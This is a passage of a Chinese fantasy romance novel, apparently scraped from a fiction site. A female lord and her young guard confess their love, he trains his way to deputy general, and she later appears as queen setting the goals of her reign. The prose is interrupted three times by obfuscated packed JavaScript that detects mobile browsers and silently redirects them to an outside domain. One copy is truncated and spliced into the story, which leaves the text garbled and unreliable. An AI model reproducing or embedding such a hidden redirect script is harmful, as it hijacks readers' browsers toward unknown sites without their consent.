她也不点破,只是指尖再次悄然引动灵力。这一次,是几点微弱的火灵,如同夏夜的萤火虫般,轻盈地飞起,落在平静的湖面上,跳跃闪烁,倒映在水中,与月光星辰交相辉映,煞是好看。 “你看,”她朝着湖面扬了扬下巴,声音里带着一□□哄,“我闲来无事,弄了些火光玩耍。你说,这湖面的火光,好看吗?” 她一边说着,一边不着痕迹地向他靠近了半步。距离瞬间拉近,他甚至能闻到她身上那股独特的、清冽中带着微甜的体香,能感觉到她说话时,温热的气息轻轻拂过自己的耳廓。 昭彦整个人都僵住了。 她......靠得太近了! 那若有若无的香气,那近在咫尺的容颜,那双带着促狭笑意的明亮眼眸......所有的一切,都在疯狂地冲击着他紧绷的神经。他的大脑一片空白,所有的理智、所有的自卑、所有的顾虑,在这一刻仿佛都被抛到了九霄云外。 他抬起头,目光不受控制地胶着在她脸上,眼中是压抑不住的羞涩、挣扎,以及......再也无法掩藏的、如同火山喷发般炽热的情意。他听到自己的声音,带着无法控制的颤抖,低低地响起: “主上......火光......是挺美的......” “但......但不及您......万分之一耀眼......” 话音落下的瞬间,整个世界仿佛都安静了。 昭彦猛地意识到自己说了什么,脸上瞬间血色褪尽,取而代之的是一片死灰。 我......我说了什么......我竟敢......我竟敢对主上说出如此......如此大逆不道的话...... 巨大的恐慌与羞耻感席卷了他,他几乎想要立刻跪地请罪,或者干脆找个地缝钻进去。 然而,预想中的呵斥或嘲讽并未到来。 他只感觉到,一只微凉却柔软的手,轻轻地覆盖在了他因紧张而紧握的拳头上。 他愕然抬头,对上了一双不再是戏谑或试探,而是充满了某种他从未见过的、如同月光般温柔深邃的情愫的眼眸。 魏勉的心,在他那句带着颤抖、却无比真挚的话语落下的瞬间,被狠狠地撞了一下。 终于肯说实话了,傻瓜...... 她看着眼前这个因为一句情不自禁的表白而吓得脸色惨白的少年,心中又好气又好笑,更多的却是......难以言喻的柔软与欢喜。 她轻轻开口,声音柔得仿佛能滴出水来: “昭彦......” “你的心意......我,早就知道了。” 话音未落,她指尖微动,一阵柔和的风灵之力如同轻纱般将两人轻轻环绕。湖畔的柳枝仿佛也停止了摇摆,月光在此刻变得格外皎洁、温柔。 昭彦呆呆地站在那里,感受着那将他们与外界隔绝开来的、带着她独有气息的灵力屏障,感受着她手中传递过来的、不容错辨的暖意,听着她那句如同天籁般的低语...... 他知道,从这一刻起,有什么东西......将永远地改变了。 自那夜湖畔月下,魏勉一句“你的心意,我早就知道了”,捅破了那层朦胧的窗户纸后,昭彦的生活似乎并未如想象中那般,立刻充满粉色的甜蜜。 恰恰相反,他陷入了一种更为别扭和煎熬的状态。 春日的晨曦驱散了边城的薄雾,校场上号子声、兵器碰撞声不绝于耳。 昭彦作为新晋的亲卫什长,正领着一队士兵进行基础的劈砍训练。他动作标准,力道沉稳,汗水沿着他年轻而棱角分明的脸颊滑落。然而,眼角的余光却总是不由自主地瞟向不远处那个熟悉的身影。 魏勉一身轻便银甲,长发束成利落的高马尾,正站在另一队亲卫中间,偶尔开口指点着他们的剑阵配合。她神情专注,偶尔蹙眉,偶尔颔首,阳光洒在她身上,仿佛为她镀上了一层神圣的光晕。 昭彦的心跳不争气地快了几拍,脸上微微发烫。 可随即,他又想起了军营里那些老兵私下里的荤话——“咱们领主大人这般年纪,又如此......嘿嘿,身边能没几个贴心伺候的?听说大户人家的女子,未成婚前房里就有好几个俊俏小子呢......” 这些污言秽语如同毒刺,狠狠扎进他心头。一股难以言喻的酸涩和烦躁涌了上来。 她......她真的有吗?像话本里写的那样,有那种......只在夜里出现的“侍君”?这个念头让他握剑的手猛地一紧,动作也瞬间乱了章法,差点劈到身边的同袍。 “昭彦!”带队的百夫长不满地呵斥了一声。周围几个士兵也投来好奇或打趣的目光。 昭彦的脸瞬间涨红,连忙低头致歉,心中却更加慌乱。 我这是怎么了?胡思乱想什么!主上有没有旁人,与我何干?我有什么资格......可、可我就是介意! 不远处,魏勉看似在指点剑阵,实则强大的灵力场早已将昭彦那点小动作和紊乱的心绪感知得一清二楚。她不动声色地弯了弯嘴角,眼中闪过一丝狡黠。 这傻小子,昨天才剖白了心意,今天就为这个别扭上了?倒是个十足的醋坛子。 她挥手让那队亲卫自行练习,然后缓步朝昭彦这边走了过来。 昭彦察觉到她的靠近,心跳得更厉害了,几乎是手足无措,连目光都不知道该往哪里放。 “昭彦,”魏勉的声音带着笑意,在她身前停下,“方才剑招使得一塌糊涂,心思跑到哪里去了?”她故意凑近了些,风灵之力悄然拂过,再次吹乱了他额前的碎发,“说实话,我就不罚你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817780|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温热的气息,熟悉的清香,近在咫尺的、含笑的眼眸......昭彦只觉得大脑一片空白,脸红得像要滴血,结结巴巴地道:“主、主上......我没走神......是、是属下愚钝......”他的声音低若蚊蚋,眼神躲闪,根本不敢看她,心中暗想: 她又捉弄我!她知不知道她靠得这么近......我的心都快跳出来了! 可是......她越是这样,我越是忍不住想......她对别人,是不是也这样? 午后,操练结束。魏勉以“指点剑术”为名,屏退了左右,独独将昭彦留了下来,带到了校场旁那片安静的柳树林边。 她已换下戎装,穿着一身素雅的长袍,长发披散下来,少了领主的威严,多了几分少年的明媚。她随意地坐在柳树下的石凳上,晃着腿,看着局促不安地站在她面前的昭彦。 “好了,现在没别人了,”她双手托着下巴,歪着头看他,语气轻快,“说吧,昭彦,你今天到底怎么了?从早上开始就魂不守舍的,练剑都差点伤到人。是不是有什么心事?” 昭彦手里还紧紧攥着他的佩剑,站得笔直,像根木桩,只是脸上的红晕一直未退。他低着头,声音闷闷的:“回主上,属下无事。只是......可能昨夜没睡好。” 昭彦暗自叫苦:“我怎么敢说?难道问您身边除了我,还有没有别人伺候?这简直是......不知死活!可是......那些传闻......” “没睡好?”魏勉挑了挑眉,眼中闪过一丝促狭。她指尖微动,一簇小小的、只有指甲盖大小的火苗凭空出现,在她白皙的指尖上欢快地跳跃、盘旋。 “是因为想我想得睡不着?” 昭彦的心猛地一跳,像是被那火苗烫了一下,脱口而出:“不是!”随即又意识到自己的失态,脸更红了,声音也更低了,“属下......属下不敢......” “噗嗤......”魏勉忍不住笑出声来,“你这脸皮也太薄了!你看你,脸红成这样儿,还说没事?” 她站起身,走到他面前,仰头看着他,“昭彦,看着我。你老实告诉我,你是不是听到军营里那些人胡说八道了?” 昭彦一惊,猛地抬头:“主上,您......” “我什么?”魏勉逼近一步,两人之间的距离近得几乎能感受到彼此的呼吸。她伸出那只跳跃着火苗的手指,轻轻点了一下他的胸口,感受到他骤然加速的心跳,“是不是在想......我身边除了你,还有没有藏着别的‘好东西’?” 昭彦感觉自己快要不能呼吸了!她......她怎么什么都知道?! 那点卑微的、不敢宣之于口的酸涩心思,仿佛在她面前无所遁形。 巨大的羞窘感和被看穿的恐慌,反而激起了一丝豁出去的勇气。他看着她近在咫尺的、带着促狭笑意的明亮眼眸,想着那些折磨了他一上午的念头,终于,用一种近乎自暴自弃的、低不可闻的声音,别扭地问道: “主上......他们说领主身边都、都会有、有侍奉的......男、男......”那个“宠”字,他怎么也说不出口。 他艰难地咽了口唾沫,鼓足勇气抬起眼,飞快地看了她一眼,又立刻低下头,声音细若游丝:“您......您有吗?” 问完这句话,他感觉自己全身的力气都被抽干了,心脏狂跳不止,等待着她的回答,如同等待着最终的审判。他既害怕听到肯定的答案,又隐隐期待着哪怕一丝否定的可能。 魏勉看着他这副既勇敢又羞窘,期待又害怕的模样,心中又好气又好笑,更多的却是难以言喻的柔软与心动。 这个傻瓜......为了这个,竟然别扭了一整天!真是......可爱得紧。 她脸上的笑容收敛了一些,取而代之的是一种从未有过的、无比真诚的柔和。她伸出另一只手,轻轻抚上他因紧张而紧绷的脸颊,感受着那滚烫的温度。 “昭彦,”她的声音无比清晰,带着一种郑重的承诺,“你听好了。” 她指尖的火苗轻轻一晃,熄灭了。她看着他的眼睛,一字一句地说道: “我魏勉身边,从前没有,现在没有,将来,只要有你一日,便也不会有任何所谓的‘侍君’。” 她顿了顿,看着他因震惊而微微睁大的眼睛,补充道,语气带着一丝揶揄,也带着不容置疑的认真:“若说真有什么人能‘近身侍奉’......”她凑近他耳边,温热的气息拂过他的耳廓,低语道,“那也只有......某个练剑不专心、还爱胡思乱想的小醋坛子罢了。” “所以......”她拉起他的手,放在自己心口的位置,感受着彼此同样剧烈的心跳,眼中是满满的笑意和柔情,“别再为这个酸了,好吗?” 6. 副将炼成,酸涩心绪终定情 那一晚,昭彦回到自己简陋的营房,躺在吱呀作响的木板床上,却无论如何也睡不着。 魏勉的话语,她眼中真诚的光芒,她指尖的温度,她最后那句带着亲昵揶揄的话......如同最烈的酒,将他整个人都灌醉了。 主上她......她说她身边没有别人!她说......只有我?!还让我......多陪陪她? 巨大的、如同泡沫般轻飘飘的幸福感包裹着他,让他忍不住用被子蒙住头,偷偷地笑出声来。 可笑着笑着,他又开始患得患失。 这......这到底算是什么意思?我们......算是确定关系了吗?算是......恋人了吗? 他翻来覆去,一会儿觉得魏勉的话就是承认了彼此的心意,一会儿又觉得,她毕竟是高高在上的领主,或许只是安抚他,或许只是觉得他有趣,一时兴起? 不行不行,我不能这么想!主上她......她看我的眼神是那么认真......她说的话,一定是真的! 可随即,身份的巨大鸿沟又像一盆冷水浇下来。 可我......我只是个新提拔的亲卫什长,没有家世......她将来......真的会一直......只看着我吗? 酸涩与甜蜜,希望与忐忑,在他心中反复交织。他一会儿决心明日一定要鼓起勇气问个清楚,一会儿又觉得自己根本没有资格去问。 这一夜,少男昭彦的心,在初恋的狂喜与自卑的拉扯中,彻底失眠了。 而与此同时,领主府邸的书房内,魏勉却毫无睡意,精神正好。 她坐在案前,手指轻轻敲击着桌面,唇角还残留着一丝因想起白天昭彦那副窘迫模样而泛起的笑意。 这小子......心思单纯得像一张白纸,却又固执得像块石头。不过......这样也好。 笑意渐渐隐去,取而代之的是属于领主的深思与锐利。 他的心意,我已明了。 我的心意,也已交付。 但仅仅如此,还不够。 她很清楚,在这个讲究实力与门第的世界,她与昭彦之间,不仅仅是两情相悦那么简单。她可以不在乎他的出身,但别人会在乎。她若要将他长久地留在身边,甚至......让他成为未来那个独一无二的位置上的人,就必须让他拥有足以匹配她的、令人信服的地位与功绩。 亲卫什长?远远不够! 我要的,是能与我并肩作战、统领千军、让所有人都心服口服的副将! 一个大胆而周密的计划,在她心中迅速成型。 昭彦的剑术天赋极高,实战经验也开始积累,所欠缺的,是系统的谋略、阵法以及统兵经验。必须给他最严苛的训练,最快的成长速度。 她提起笔,蘸饱浓墨,开始在纸上书写。一道道针对昭彦的、堪称“拔苗助长”式的训练指令,从她笔下流淌而出——增加一倍的剑术对练时数,参与所有级别的战术推演,轮换到各个营队学习统兵,甚至由她亲自设定一些极其困难的模拟战局,逼迫他在绝境中寻求突破。 写到最后,她顿了顿,又在指令末尾加了一句:“训练期间,由我亲自督导,一切从严,不得徇私。” 她放下笔,看着墨迹未干的军令,眼中闪过一丝复杂的光芒。 昭彦,我知道这条路会很苦,我会暂时收起对你的所有温情,变得严厉、苛刻、不近人情。你会怨我,会误会我,但只有这样,你才能以最快的速度成长起来,才能堵住所有质疑你的悠悠之口,才能真正站到我的身边,成为我最亲近的依仗。 她吹灭了烛火,黑暗中,少年领主的眼中闪烁着坚定的光芒。 等着我,昭彦。等我为你铺平道路。待你成为我的副将那一日,我便告诉你一切。到那时......我们再也不会分开。 接下来的数月,对昭彦而言,仿佛从云端跌入了地狱。 他几乎是以肉眼可见的速度,从之前那个备受主上“青睐”、引得不少人暗中嫉妒的亲卫什长,变成了一个被领主“特别关照”、往死里操练的倒霉蛋。 训练强度骤然加倍,甚至三倍。每天从睁开眼到闭上眼,不是在进行魔鬼式的剑术对练,就是在沙盘前熬到深夜推演各种刁钻的战局,要么就是被丢到陌生的队伍里学习如何指挥调度。他像一块被投入锻炉的生铁,被反复捶打、淬炼。 身体的疲惫尚能忍受,真正让他感到绝望的,是魏勉对他的态度。 她确实如军令所言,“亲自督导”。她会出现在他训练的每一个场合,但看向他的目光,不再有丝毫的笑意和柔情,只有审视、挑剔,和一种仿佛在看一件需要打磨的兵器般的冷漠。 “昭彦!出剑速度慢了零点一息!若是战场,你已经死了!再练一百遍!” “这个阵型转换如此迟滞?蠢钝无比!重来!” “连这点压力都承受不住?废物!我望北城不养无用之人!” 她的言语越来越严厉,她的眼神越来越冰冷。有时他累得几乎要虚脱,鼓足勇气想从她眼中寻找一丝过去的温情,看到的却只有拒人于千里之外的淡漠。 最初,他还抱着希望。 大人一定是在考验我!她说过看重我,她一定是对我有期望的! 他咬紧牙关,将所有的委屈和疲惫吞进肚子里,拼命地训练,渴望用自己的进步换来她的一句肯定,一个微笑。 他的剑术确实突飞猛进,对战局的理解也日渐深刻,甚至开始隐隐有了几分将领的气度。可无论他做得多好,魏勉似乎都视而不见,永远只有更严苛的要求,更冷淡的目光。 渐渐地,希望变成了失望,失望又滋生出怨怼,最终沉淀为一种冰冷的心灰意冷。 原来......真的只是我自作多情吗?湖畔的那些话,那些温柔,都只是她一时兴起的玩乐?如今玩腻了,便只剩下厌弃和敲打了吗? 他想起那夜自己卑微的表白,想起自己因为她一句“没别人”而辗转反侧的狂喜,只觉得像个天大的笑话。 也是......我算什么呢?一个再普通不过的小兵,凭什么奢望领主的垂青?或许从一开始,我就不该有那些不切实际的幻想...... 他不再主动去寻找她的目光,训练时也变得沉默麻木,只是机械地完成着一项项任务。那颗曾经因为她而火热跳动的心,一点点冷却下去,被厚厚的冰壳包裹起来。 他甚至开始刻意避开她可能出现的场合。 既然......既然您已厌弃了我,那我......便如您所愿,离您远远的,不再碍您的眼吧。 暗恋的甜蜜早已消失无踪,只剩下无尽的酸楚与苦涩。 他不知道,在他看不见的地方,在他拖着疲惫身躯沉沉睡去之后,那个白日里对他冷若冰霜的少年领主,会悄悄来到他的营房外,透过窗看着他熟睡的脸庞,眼中充满了心疼、歉疚,以及更加坚定的期盼。 昭彦,再等等......再坚持一下......很快......很快我们就能真正站在一起了。 日子在昭彦的麻木和魏勉的“冷酷”中飞快流逝。转眼,便到了军中选拔副将的日子。 这一日,校场之上旌旗招展,战鼓擂动。望北城所有的高阶灵主军官和表现优异的力者将士齐聚于此。魏勉一身金边赤色战甲,头戴银色嵌宝石的束发冠,端坐于高台帅座之上,灵力场如同实质般笼罩全场,威严赫赫,令人不敢直视。她的目光平静地扫过下方,心中却暗藏着激动与期待。 昭彦,今日,便是检验你这数月苦练成果之时!也是我兑现承诺之日! 选拔赛异常激烈。力者们捉对厮杀,比拼武艺;在沙盘上推演战局,考验谋略;最后还要进行小规模的实兵指挥演练。 轮到昭彦时,所有人的目光都集中到了他身上。这数月来,他受领主“特别操练”之事早已传遍军营,众人皆想看看,他究竟被“磨砺”成了什么样子。 昭彦面无表情地走上场。他甚至没有去看高台上的魏勉一眼,仿佛对一切都已漠不关心。 然而,当比试开始的鼓声敲响,他整个人气势骤变! 剑术对决,他的剑快如闪电,稳如磐石,招式之间已隐隐有了大家风范,几无破绽,干净利落地击败了所有对手。 沙盘推演,他沉着冷静,思路清晰,对各种阵法兵种的运用了然于胸,几次出奇制胜,引得老将们也频频点头。 实兵指挥,他号令清晰,调度有方,进退得据,竟打出了一场漂亮的以少胜多的伏击战! 全场爆发出雷鸣般的喝彩!士兵们为他的勇武喝彩,将领们为他的才能点头。 唯有昭彦自己,在听到胜利的号角时,心中没有半分喜悦,只有一片空茫。 结束了吗?......我做到了......可......这又有什么意义呢? 他默默地收剑,垂手而立,等待着最后的评判,像一个等待宣判的囚徒。 高台之上,魏勉看着下方那个挺拔却略显落寞的身影,看着他眼中那死水般的平静,心中猛地一痛,随即又被巨大的骄傲和喜悦所填满。 昭彦!你做到了!你果然没有让我失望!你如今的成就,足以让所有人闭嘴! 她站起身,声音通过灵力传遍整个校场,清晰而威严: “诸位将士!” 全场肃静。 “今日副将选拔,诸位皆奋勇争先,展现了我望北城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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昭彦的身体瞬间僵硬!他能感受到她柔软的身体贴着他冰冷的铠甲,能听到她在他耳边带着哽咽的、急切的声音: “昭彦!傻瓜!你这个......天底下最大的傻瓜!” 她的声音带着哭腔,手臂用力地环住他的腰,仿佛要将自己揉进他的身体里,“你终于是我的副将了!你知不知道......我等这一天,等了多久!我有多开心!我们终于可以......名正言顺地......一直在一起了!” 昭彦彻底懵了。他僵硬地站在那里,任由她抱着,大脑一片空白。她......她在说什么?开心?一直在一起? 他缓缓地、试探地开口,声音干涩得厉害:“主、主上......您这是什么意思?我以为......您早就不喜欢我了......” “我什么时候说过不喜欢你了?!”魏勉猛地抬起头,通红的眼眶里蓄满了泪水,却又带着一种如释重负的、灿烂的笑容,“我若不喜欢你,何必费尽心思为你铺路?我若不喜欢你,何必忍着心疼对你那般严苛冷淡?” 她捧着他的脸,急切地解释着,仿佛要将这数月的委屈与真相全部倾倒出来:“我冷着脸,是做给别人看的!是怕别人说我偏私!更是要逼着你用最快的速度成长起来,用你的实力让所有人闭嘴!副将之位,必须是你凭真本事堂堂正正拿到的,这样以后我提拔你,重用你,甚至......” 她脸颊微红,声音低了下去,“甚至......将你立为首夫,才不会有人不服!我做将军,你做副将,我们并肩作战,开创大业。这才是我想要的未来啊!你到底懂不懂?!” 昭彦呆呆地听着,每一个字都像是一道惊雷,劈开他心中数月来的阴霾与冰封。 原来她所做的一切,都是为了他?为了......他们? 巨大的、难以言喻的情绪瞬间席卷了他。是震惊,是狂喜,是委屈,是心疼......无数种滋味交织在一起,最终化作滚烫的泪水,夺眶而出。 “主上......”他再也控制不住,猛地转过身,将眼前这个为他筹谋至此、也让他误会至深的女子紧紧拥入怀中,“您......您怎么......怎么不早告诉我......我......我还以为......我以为您......” 他哽咽着,说不出完整的话,只是将脸深深埋入她的颈窝,感受着她真实的温度和气息,仿佛要确认这一切都不是梦境。 魏勉也紧紧地回抱着他,感受着他身体剧烈的颤抖和滚烫的泪水,心中既是酸楚,又是甜蜜。她在他耳边,用一种带着笑意和无限柔情的声音,低声而清晰地说道: “昭彦,我的副将......我的......爱人。” “从今往后,再也不会分开了。” 校场之上,春风拂过,带着泥土和青草的气息。夕阳将两道紧紧相拥的身影,镀上了一层温暖的金边。 少年时代那青涩而别扭的爱恋,在经历了误会、考验与漫长的等待之后,终于在这一刻,拨云见日,绽放出最耀眼的光芒。 7. 御道千思,龙目俯观社稷图 那场惊心动魄的雷暴之夜,仿佛一道分水岭。 魏勉的脆弱与依赖,昭彦的慰藉与守护,似乎暂时冲淡了侍君带来的隔阂与酸楚。 不知过了多久,窗外透进了熹微的晨光。 魏勉蜷缩在昭彦的怀中,身体已疲惫不堪,却又带着一种奇异的满足与空茫。 昭彦紧紧抱着她,手臂酸胀,身上布满了她的抓痕与齿印,却丝毫不在意。他凝视着怀中熟睡,又或许只是力竭闭眼的爱人,心中是前所未有的充实,以及...... 随之而来的、更深沉的失落。 清脆的鸟鸣声从窗外传来,宫人开始走动的细碎声响隐约可闻,提醒着新的一天已经开始,早朝即将到来。 魏勉的睫毛颤动了一下,缓缓睁开了眼睛。当目光触及昭彦那带着复杂情绪的温柔眼神时,她的心猛地一抽,昨夜种种以及即将面对的现实瞬间涌上心头。 她的手指眷恋地、轻轻地抚过昭彦的脸颊,从眉骨到下颌,像是要将他的轮廓,他的温度,他的一切,都深深铭刻在指尖,铭刻在心底。 她的动作惊扰了他,或者说,他根本未曾真正睡去。昭彦睁开眼,对上她饱含不舍的目光,喉结滚动了一下,声音带着清晨特有的沙哑:“王上,天亮了,您该起了。”他想抽出被她枕着的手臂,动作却带着迟疑。 “昭彦......”魏勉却反手按住了他,声音带着浓浓的鼻音和一丝近乎乞求的意味,“再陪孤一刻......” 昭彦随即更加用力地抱紧了她,用自己的身体传递着无声的承诺,声音沙哑而坚定:“勉儿,我......臣永远在您身边。无论发生什么。” 他的目光深邃,温柔中却带着一种令人心碎的牺牲感,“您是王上,您有您的天下要去守护。臣是您的首夫,臣会陪着您,一直走下去。” 她依偎着他,声音带着浓浓的倦意和不舍:“昭彦......孤不想起来......不想离开这里......” 昭彦轻抚着她光滑的后背,声音温柔,却带着一丝不容拒绝的现实:“王上,时辰不早了,早朝不能耽误。” 他的话像一盆冷水,浇熄了魏勉最后的留恋。她沉默了片刻,终是缓缓从他怀中坐起。 昭彦也随之起身,披上锦袍。他走到衣架旁,取下那件象征着至高权力的、绣着繁复龙纹的赤色朝服,来到她身后,沉默而仔细地,一件件为她穿上。他为她整理好衣襟,系好腰带,动作轻柔得像是在对待一件稀世珍宝,又像是在为即将远征的战士披上盔甲。 她上前一步,手指轻抚他的脸颊,眼中闪着泪光,仿佛踏出这扇门,便是与他的永别。 昭彦顺势用力地抱住她,仿佛要将她揉进自己的骨血里。他低头,在她发顶印下一个深沉的吻,声音坚定,带着一丝不易察觉的哽咽:“臣发誓,永不相离。” 他轻轻推开她,为她拭去眼角的泪痕,然后拿起梳子,仔细地为她梳理因昨夜激情而散乱的长发,最后,拿起那顶沉重的、象征着无上权力的金冠,郑重地为她戴上。每一个动作,都充满了仪式感,像是在亲手送她走向那个不再只属于他的广阔世界。 殿外,宫人恭敬的催促声再次响起:“王上,吉时已到,该上朝了。” 魏勉最后看了昭彦一眼,那眼神复杂难言,有深爱,有不舍,有歉疚,也有属于君主的决绝。她深吸一口气,松开了他的手,毅然转身,走向殿门。 停在门口,她终是忍不住回头,深深地望向殿内那个在晨光中孑然而立的身影,低声说:“昭彦......孤会回来的。” 这句话,像是一个承诺,又像是一声叹息。 昭彦站在原地,望着她决绝的背影,努力扯出一个笑容,声音清晰地传来:“王上,臣等您。” 殿门开启,灿烂的晨光涌入。魏勉深吸一口气,昂首挺胸,踏出了昭彦的寝殿。 她抬头,望向远处矗立的、象征着权力之巅的朝阳大殿,目光重新变得坚定、锐利。 她迈开脚步,作为宵朝的开国王上、这片广袤土地的最高统治者,走向了属于她的战场。 龙袍的下摆划出庄重的弧度,脚下的宫道宽阔而平整,是用一种混合了特殊矿石粉末与力者汗水夯筑而成的青黑色石板铺就,据说在月光下会泛起淡淡的银辉,亦能承载灵力的流转。 宫殿的建筑风格宏伟而独特,飞檐斗拱之间,并无过多传统龙凤呈祥的雕饰,反而处处可见象征风、火、水、土四元素的抽象纹路,以及代表生命与丰饶的大地之母的徽记——通常是一位姿态博大、面容模糊的女性形象,怀抱着麦穗与星辰。 这无声地昭示着这个王朝的力量来源与最高信仰。每一座殿宇的基石都异常沉稳,梁柱结构也非人力所能及,显然是借助了强大的土系灵力加固,并由无数力者耗费心血建造而成,是灵力与体力结合的完美体现。 清晨的王宫已经苏醒。宫道两旁,身着统一制式玄甲的禁卫军士兵肃立,他们身形挺拔,肌肉结实,手中长戟在晨光下闪烁着寒光。他们目光低垂,动作划一,对擦身而过的王上表达着无声的、绝对的崇敬与服从。这便是宵朝军队的基础,是王朝坚实的臂膀。 宫道上,不时有佩戴着代表不同军团或家族标识的银色或金色徽记的灵主军官,步履矫健地巡视而过。她们或许只穿着便于行动的轻便软甲,甚至是一身干练的武服,但周身散发的、若有若无的灵力波动,以及那锐利自信的眼神,便足以让最剽悍的力者士兵也为之凛然。她们是军队的头脑与利刃,是战场上的胜负手。 魏勉的目光扫过她们肩章或臂铠上那些熟悉的图腾——北方裴家的雪狼图腾依旧醒目,东方段家的怒涛纹章也毫不逊色,还有一些代表着新兴军功贵族或是她亲手提拔的将领的独特徽记…… 这些,既是国之柱石,亦是她未来需要用一生智慧去谨慎平衡的力量。 穿过一道绘有星辰流转、象征“天人感应”图案的月亮门,前方地势豁然开朗,是通往主殿区的宽阔广场。 这里的景象更为繁忙。一队队力者正迈着沉重的步伐,搬运着来自各地的物资——有南方水乡运来的、颗粒饱满、的灵稻新粮,其米粒晶莹,蕴含微弱灵气,食之可强身健体;有西部矿区开采的、闪烁着各色光芒的灵晶原石和伴生稀有金属,那是驱动这个灵力世界运转的能量之源;还有东方海滨由段氏水师护航送来的、带着浓郁咸腥味的深海异产和珍稀药材。 而在他们身边,则有条不紊地穿梭着各类宫人:负责洒扫、杂役的普通宫人,管理库房、登记造册的官吏,以及一些身着特定服饰、负责照料御花园中奇花异草的灵主学徒。更远处,似乎还能听到宫廷直辖的兵器坊或灵器坊方向传来有节奏的、沉闷的敲击声,那是力者工匠在火灵主官吏的辅助下,为王朝锻造利器。 整个王宫,就像一个精密运转的巨大机器,灵主是核心的驱动与掌控者,力者则是坚实的齿轮与构架,缺一不可,等级却也分明。 越靠近举行朝会的朝阳大殿,遇到的官员便越多。她们大多身着代表各自品阶和部门的朝服,或捧着厚厚的文书,或三三两两低声交谈着即将上奏的政务。她们步伐匆匆,神情专注,眉宇间带着属于这个新兴王朝统治阶层的自信与干练。 这些由女性灵主构成的官僚体系,是她魏勉统治天下的神经脉络。她们大多出身于各大灵主世家,自幼在家族或灵学院中接受严格的教育,学习灵力操控、万物理论、以及最重要的——治国方略与忠君思想。 走到朝阳大殿高高的九十九级玉阶之下,望着那扇即将开启的、雕刻着日月星辰与山川河岳图案的巨大殿门,魏勉心中最后一点属于个人的情绪也已沉淀。眼前浮现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817782|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是宵朝万里疆域图—— 北方是虎视眈眈、屡屡侵扰的北戎游牧部族,以及那片广阔却也充满了未知危险的极北冰原; 东方是危机与机遇并存的无垠东溟,传说海的尽头有仙山,亦有恐怖的海兽与未知的文明; 西方是神秘莫测、几乎完全隔绝往来的迷雾山脉,其后隐藏着怎样的世界,无人知晓; 南方虽富庶,水网密布,但也因此宗族势力盘根错节,最易滋生潜在的离心势力。 内,需整合权力,削弱那些在统一战争中坐大、或心怀故国的旧氏族,安抚新附之地的人心,培养绝对忠于王室的新生力量,更要建立一套能长久维系王朝运转的经济与文化秩序。 外,则需北拒强敌,东拓海权,西探未知,南抚民心。 这条路,漫长而艰难。 走到朝阳大殿高高的玉阶之下,望着那扇即将开启的沉重殿门,魏勉深深吸了一口气。昨夜的温存与泪水已被深埋心底,取而代之的是属于君王的冷静与决断。她知道自己需要做什么,她为自己,也为这个崭新的王朝,在心中立下了未来二十年的目标——那是五件,她必须完成,也定能完成的大事: 强干弱枝,集权归一:以温和而坚定的手段,逐步削弱那些根深蒂固、可能威胁王权的大氏族势力,限制其私兵与地方权力,同时提拔寒门或军功出身的忠诚人才,完善中央对地方的直接管辖,确保灵脉辖区制能真正落地,政令畅通无阻。 北境安宁,拓土守疆——彻底解决北方北戎的威胁,不仅仅是将其拒于国门之外,更要通过积极的防御反击与分化策略,将其势力范围向北压缩,确保阴山以南的传统农耕区域不再受其袭扰,并在此基础上,建立稳固的灵力壁垒防线,为宵朝赢得长久的北方安宁。 南抚百越,平定隐患—— 对于南方新附之地以及那些情况复杂的百越部族,需恩威并施,以安抚和经济融合为主,推行统一的文化教化,促进其真正归心;但对任何敢于挑战宵朝统治的叛乱势力或死灰复燃的前朝余孽,则必须以雷霆手段迅速剿灭,绝不姑息。 兴学育才,革新制度——在京都及各郡建立高标准的官办灵学院和力者技艺学堂,统一核心教材,不拘一格选拔人才。改革官员选拔与考核制度,打破世家对高阶职位的过度垄断,建立一套更公平、更高效,能为王朝源源不断输送新鲜血液的体系。同时,鼓励和规范灵力在农业、手工业、医药等民生领域的应用,提升整体生产力。 经略四海,扬我国威——在稳固内部和北方边境后,向东,要进一步壮大水师,掌控近海航路,积极开拓与海外诸岛乃至更远大陆的贸易往来,获取海外特产与资源,同时也为未来可能的远征奠定基础;向西,则需派遣精锐探险队伍,尝试穿过迷雾山脉,了解西方世界的真实情况,寻找新的机遇或消除潜在的未知威胁;向南,加强与更南方内陆部落的文化与经济联系,将其逐步纳入宵朝的朝贡体系或直接版图。最终目标,是让宵朝成为这片大陆上无可争议的、最强盛、最先进、也最受敬仰的文明中心。 她深吸一口气,感受着体内奔腾不息的、仿佛与这片大地脉搏相连的磅礴灵力。集权、安边、平乱、育才、强国。这五件大事,如同五颗璀璨的星辰,在她心中熠熠生辉,照亮了前行的道路。它们艰巨,漫长,充满挑战,但魏勉的眼中,没有丝毫退缩,只有身为开创者的、无与伦比的决心与豪情。 她整理了一下龙袍的衣襟,感受着那份沉甸甸的重量,抬起头,目光坚定,一步一步,沉稳地踏上了通往权力之巅的玉阶。 殿门缓缓开启,朝阳的光芒映照在她年轻而坚毅的脸庞上。文武百官早已肃立殿中,鸦雀无声。 